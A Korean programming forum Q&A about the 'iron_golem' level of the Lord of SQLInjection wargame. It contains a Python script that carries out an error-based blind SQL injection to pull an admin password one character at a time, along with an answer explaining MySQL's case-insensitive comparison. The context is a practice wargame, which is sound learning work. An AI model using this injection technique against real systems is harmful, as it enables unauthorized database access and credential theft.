2026, 새로운 도약을 시작합니다.

sql 인젝션 질문이 있습니다. 채택완료

여기에 sql 문제를 질문드려도 될지 모르겠지만 물어볼때가 없어서요

lord of sqlinjection 21문제를 풀고 있습니다.(https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php)

풀려고 코딩을 짰는데 갑자기 드는 의문점이 있습니다.

Copy


import requests

import string



 

url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"

cookie = dict(PHPSESSID="쿠키값")

 

asc = string.digits+string.ascii_letters

print(asc)

result=""

 

for i in range(1,33):

    for j in asc:

        param = "?pw='or id='admin' and if(right(left(pw,"+str(i)+"),1)="+str(j)+",(select 1 union select 2),1)%23"

        #param = "?pw='or id='admin' and if(ord(substr(pw,"+str(i)+",1))="+str(ord(j))+",(select 1 union select 2), 1)%23"

        print(param)

        res_url = url+param

        response = requests.get(res_url, cookies=cookie)

 

        if response.text.find("Subquery")>=0:

            print(str(i)+"번째 패스워드 :"+j)

            result+=j

            break

print("pw :"+result)

 

문제의 정해진 패스워드 값이 문자일거고, 코드에서 임의로 걸러내기 위한 값도 문자인데 왜 아스키코드로 굳이 변경을 해서 하는걸까요? 위에 문제로 아스키로 안바꾸고 문자대로 비교하니까 숫자는 파싱이 되는데 문자는 파싱이 안되네요? 

답변 1개

채택된 답변
+20 포인트

제 개인적인 생각입니다.

mysql 의 varchar 필드나 if 함수 같은 것들은 대소문자를 구분하지 않습니다.

예를 들어 mysql 에서

Copy


select if('a'='A', 'true', 'false');

이런 쿼리를 실행하면 true 가 출력 됩니다.

위 문제에서 문자 비교 대상이 0-9a-zA-Z 이기 때문에

비밀번호 추출 시 정확하게 대소문자를 구분하여 추출 하려는 목적인 듯 합니다.

디비 pw 값이 AAAAA 인 상태에서 ord 를 없이 실행 할 경우 결과 값이 aaaaa 로 출력 될 확율이 높습니다.

로그인 후 평가할 수 있습니다

댓글을 작성하려면 로그인이 필요합니다.

답변을 작성하려면 로그인이 필요합니다.

로그인
🐛 버그신고